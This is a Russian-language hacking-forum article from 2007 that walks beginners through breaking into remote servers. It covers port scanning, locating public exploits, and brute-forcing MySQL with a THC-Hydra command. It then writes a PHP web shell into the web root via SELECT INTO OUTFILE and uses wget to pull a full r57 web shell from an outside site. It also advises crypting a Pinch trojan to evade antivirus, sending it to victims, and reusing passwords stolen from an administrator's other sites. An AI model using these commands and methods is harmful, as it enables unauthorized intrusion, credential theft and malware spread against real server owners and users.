Аспекты взлома серверов

Тема в разделе "Статьи", создана пользователем Хел, 11 сен 2007.

  1. Хел
    Хел Guest
    [ Аспекты взлома серверов ]

    [ INTRO ]

    Добрый день всем новичкам в ремесле взломщика. Сегодня я хочу осветить вам некоторые аспекты взлома удаленных серверов, а точнее постараюсь систематезировать ваши знания для более успешного хака. Для понятия статьи потребуются знания (минимальные) в области сетей, защиты и нападения, т.е. необходимо знать, что такое уязвимости web-приложений (SQL-инъекции, XSS, include и тд), что такое уязвимости обычных приложений (Buffer Overflow и т.д.), что такое http, ftp, telnet, exploit, tcp/ip, php, perl и далее.... Т.е. необходимо знать минимум.
    Далее. Данная статья не охватывает все способы взлома, но она сможет помочь вам понять сам процесс хака как таковой. Итак, начнем.

    [ Matrix Have You... ]

    Допустим, у нас есть некоторый сервер, на который мы хотим проникнуть. Естественно, он находится на огромном расстоянии от нас. И естественно, для его взлома мы будем использовать Интернет и мозги, а не будем копаться в мусорных баках (хотя это тоже эффективно). Попытаюсь создать следующую схему.

    Типы серверов:

    -> Поиск диапазона IP-адресов, принадлежащих серверу (если сервер не хостер);
    -> Поиск сайтов, которые хостятся на сервере (если сервер хостер);

    Разобрались с типом сервера. Сначала рассмотрим первый тип - сервер с постоянным выходом в интернет, но без хостинга сайтов. Он попадается реже всего.

    -> Сканируем сеть.

    Для скана сети сервера можно использовать любой сканер. Я рекомендую NMap в связке с XSpider. Как их использовать и где скачать, можно найти в разделе Софт.
    Для начала смотрим открытые порты по протоколу TCP (UDP нас сейчас не интересует). По стандарту на таких серверах можно найти следующие открытые порты:


    Port 21 (ftp)
    Port 22 (ssh)
    Port 23 (telnet)


    В данном случае мы рассматриваем ОС типа UNIX. По 21 порту открыт сервис ftp (file transfer protocol), по 22 сервис ssh (аналог telnet), а по 23 telnet (используется очень редко, еще реже если есть ssh, так как данные передаются незашифрованными и могут быть проснифанными). Также могут быть открыты порты баз данных (MySQL, MSSQL, PgSQL и тд), но поскольку у нас стоит UNIX, тут будут либо MySQL либо PgSQL, либо и та и та БД. MySQL попадается намного чаще и располагается по умолчанию на 3306 порту. К ней можно подключится с помощью скриптов либо с помощью клиента mysql. Зачем мы сканировали сервисы? Для того, чтобы знать возможные дверцы, через которые можно достучаться до сервера. Теперь пробуем подключиться к открытым портам и посмотреть баннеры. Баннер - это информация, которая выдается при подключении к сервису. Иногда админы меняют баннеры, но 80% они стоят нетронутыми. Баннер нам нужен для более точной инициализации сервиса. А инициализация сервиса нам нужна для поиска уязвимостей. Ведь в практически каждой программе есть свои недочеты, и чаще встречающаяся - это переполнение буфера. Каждый вводимый параметр имеет свой размер, и переполнив его, мы можем получить права программы специальным путем. Здесь мы не будем мудрить и самим искать уязвимости программ - мы лишь посмотрим сервис и постараемся подыскать на него эксплоит - программу, эксплуатирующую уязвимости. Это сделать можно на следующих авторитетных сайтах:

    _www.securitylab.ru
    _www.securityfocus.com
    _www.xakep.ru
    _www.milw0rm.com

    Можно также просто пробить сервис в Googlе с параметром "+эксплоит". Допустим, сервис ssh является старой версей и подвержен buffer overflow. Компилируем сплоит, загружаем и используем. Если все прошло удачно, то мы в системе, а при удачном раскладе мы - root. Также мы можем попасть и на backdoor какого нибудь хакера, проникшего на сервер раньше нас. Тут уже совсем просто.

    Итак, схема действий при сервере - НЕ хостере:

    -> Скан сети.
    -> Выявление сервисов (открытых портов).
    -> Использование сплоита.

    Теперь рассмотрим более интересный и располагающий случай - сайт с хостингом сайтов. Здесь есть куда больше методов хака.

    Начнем изучать какой нибудь серверный сайт. Например, его DNS имя будет www.target.com. Он написан на языке PHP, имеет самописный движок, контактирующий с БД MySQL, также в наличие имеется админка по адресу www.target.com/admin. Что теперь делать? Смотрим схему:

    -> Поиск хостящегося сайта.
    -> Изучение его на уязвимости.
    -> Если есть уязвимости, проникаем на сервер.
    -> Если нет, то скан сети.
    -> Выявление сервисов (открытых портов).
    -> Использование сплоита.

    Уязвимости скриптов могут быть разных типов, самые частые из них:

    -> SQL Injection
    -> XSS
    -> PHP/Perl Include

    Описание методов эксплуатации этих трех уязвимостей, а также нюансы вы можете посмотреть в разделе Web-хакинг, где есть мои статьи и статьи Константина на эту тему. Чаще всего при эксплуатировании какой либо из этих уязвимостей возможно получить доступ на сервер.

    Если же нет уязвимостей в скриптах (хотя они всегда есть), то натравливаем любой сканер уязвимостей, например XSpider, чтобы удостовериться в том, что мы ничего не пропустили.

    После сканирования программой, если уязвимости также не были обнаружены, остается следующий выход - сделать то же самое, что мы делали с "голым" сервером - уязвимости сервисов. Точно также сканируем сеть, смотрим сервисы, подключаемся к каждому и них и ищем сплоит. Также к стандартным сервисам, описанным выше, могут прибавиться порт 80 (http), но не стоит забывать, что порты могут быть изменены администратором. К web-серверу можно также подыскать эксплоит.

    Если же все сервисы были новыми и не было публичных сплоитов, то это не повод расстраиваться. Как говорил Кевин Митник, самое уязвимое звено в системе - это сам человек. Ведь никто еще не отменял простых паролей, доверчивость и т.д. Есть несколько СИшных путей (СИ=Социальная Инженерия):

    -> Троянизация
    -> Брутфорс
    -> Другое

    Разберем каждый из них.

    Троянизация - это устаревающий метод получения данных. Сейчас есть много троянов но мало доверчивых пользователей. Если этот выбор для вас - то скачиваем Pinch Builder, который вы можете найти в разделах нашего форума, смотрим мануал по настройке, тоже на форуме, а затем криптуем. Крипт - это шифрование кода трояна, чтобы он не был инициализирован антивирусом как троян. Существуют программы-крипторы, которые автоматизируют процесс. Чаще всего они приватные, но можно найти и публичный криптор (такие живут недолго). Криптуем трояна и под каким нибудь интересным предлогом всовываем его жертве, примеорв письма множество.

    Брутфорс - до сих пор действенный метод. Brute Force переводится как "грубая сила", метод перебора паролей. Сейчас есть множество методов, самые распространенные - метод перебора случайных числе и метод перебора по словарю. Также есть Rainbow-таблицы, но о них говорить мы не будем - хватит первых двух методов. Первый метод самый долгий и ресурсоемкий, его надо выбирать в последнюю очередь. Второй метод легче - качаем хороший словарь (мне нравится словарь allwords2.dic, его можно взять с диска ХАКЕРа) и запускаем брут.
    Теперь выбираем хороший брутфорсер. Я рекоммендую THC-Hydra, продукт команды THC. Его можно скачать с официального сайта _www.thc.org. Гидра является брутфорсером для большинства сервисов, нас интересуют сейчас следующие сервисы:

    -> FTP
    -> Telnet
    -> SSH
    -> HTTP (админка с .htaccess'ом)
    -> MySQL
    -> MSSQL
    -> PgSQL

    Запускаем Гидру и ждем конец подбора:

    Код:
    ./hydra -l root -P allwords2.dic -t 50 www.target.com mysql
    Здесь мы брутим пользователя root БД MySQL. Кстати говоря, зачастую пароли от разных сервисов совпадают с паролем суперпользователя в UNIX, так что стоит попробовать связку паролей на каждом сервисе.

    Брутфорс окончился, пароль найден. Осталось подключиться к MySQL и сделать запрос:

    Код:
    SELECT <?php $cmd=$_GET['cmd']; system($cmd); ?> FROM mysql.user INTO OUЕFILE /usr/local/apache/htdocs/shell.php
    Здесь мы получим простой веб шелл по адресу www.target.com/shell.php?cmd=. Дальше задаем в параметре cmd команду:

    Код:
    wget http://xakep.narod.ru/r57.php -O /usr/local/apache/htdocs/shell2.php
    Закачивается полноценный веб шелл, потом закачиваем бэкдор и используем локальный сплоит...

    Рассмотрим метод "Другое". Здесь подразумеваются нестандартные подходы. Об этом говорить не будем, ибо мысли у каждого свои. Например, мне часто помогал Reverse-IP (технология), также, если надо было получить доступ к сайту, пробивал ICQ/Email/Etc администратора в Google, смотрел сайты/форумы, на которых он обитает, а дальше просто ломал их, крал его пароль и он в 80% случаев подходил к паролю от сайта того человека. Способов взлома бесконечное множество, надо лишь уметь находить нестандартные решения.

    [ OUTRO ]

    Здесь я постарался осветить основные аспекты взлома, данная статья не претендует на полноту.
    Данная статья не является учебником к действию, она создана лишь для ознакомления начинающих с уязвимостями.

    Спасибо Коллеру за поддержку =)

    (c) Helkern
    http://Xaker.Name
    ​
     
    Последнее редактирование модератором: 19 сен 2007
    11 сен 2007
    1 человеку нравится это.
Загрузка...